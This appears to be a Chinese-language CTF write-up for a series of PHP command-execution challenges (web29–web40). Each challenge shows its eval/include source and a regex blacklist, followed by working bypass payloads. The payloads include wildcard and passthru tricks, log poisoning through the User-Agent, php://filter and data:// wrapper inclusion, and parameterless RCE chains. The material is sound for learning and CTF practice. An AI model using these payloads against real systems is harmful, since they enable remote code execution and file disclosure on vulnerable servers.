web29
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
题目简单过滤了flag,所以我们使用通配符即可。
payload:?c=system(tac fla*.php);
web30
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
题目对于system和php进行了过滤,所以第一题的payload就不可以用了。
解法一:我们可以用和system函数一样可以执行外部命令的函数例如passthru来绕过,然后继续使用通配符。
这里介绍了几种和system类似的函数:https://www.php.cn/php-weizijiaocheng-298828.html
payload:?c=passthru("tac fla?.???");
payload;?c=?c=echo `tac fla?.???`;
解法二:构造新的变量
payload:?c=eval($_GET[1]);&1=system("tac flag.php");
web31
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
解法一:
# 用tac绕过对cat的过滤
# 用%09绕过对空格的过滤
?c=echo`tac%09fl*`;
解法二:
# 用passthru绕过system的过滤
# tac饶过cat的过滤
?c=passthru("tac%09f*");
解法三:?c=eval($_GET[a]);&a=system('tac flag.php');
web32
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这次比上次多过滤了echo,括号,分号,反引号。
所以上面的payload都不能用
看了一个大佬wp的关于这道题:
假如我们不知道flag在哪,那么我们可以通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log 结合这里的include,构造如下语句?c=include$_GET[a]?>&a=../../../var/log/nginx/access.log,也可以尝试先/etc/passwd,确认的确可以包含。再使用User-Agent为<?php system('ls');?>,访问主页。 再去访问日志,就可以看到当前目录的文件列表了。
解法二:配合文件包含漏洞
payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web33
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这题又多过滤了双引号,因此上题的payload我们还可以进行使用。
payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web34
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这题又多过滤了冒号,我们还可以使用上面的payload。
payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web35
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web36
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
对于数字进行了过滤,所以我们继续使用字母就行了。
payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
include文件包含并且过滤了flag,所以我们使用data://协议
payload:?c=data://text/plain,<?php system('tac fla*');?>
web38
//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
过滤了php,所以我们使用base64封装数据。
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
//flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
这次文件包含 题目中直接加了后缀所以这次不需要后缀,但是这还可以使用data://伪协议
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:?c=data://text/plain,<?= system("tac fla*");?>
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这道题过滤了很多符号,但他只过滤了中文括号,所以我们还是可以使用英文括号
这里我们使用无参数rec,
参考链接:https://blog.csdn.net/weixin_63231007/article/details/124758606
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E5%89%8D%E8%A8%8
法一
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。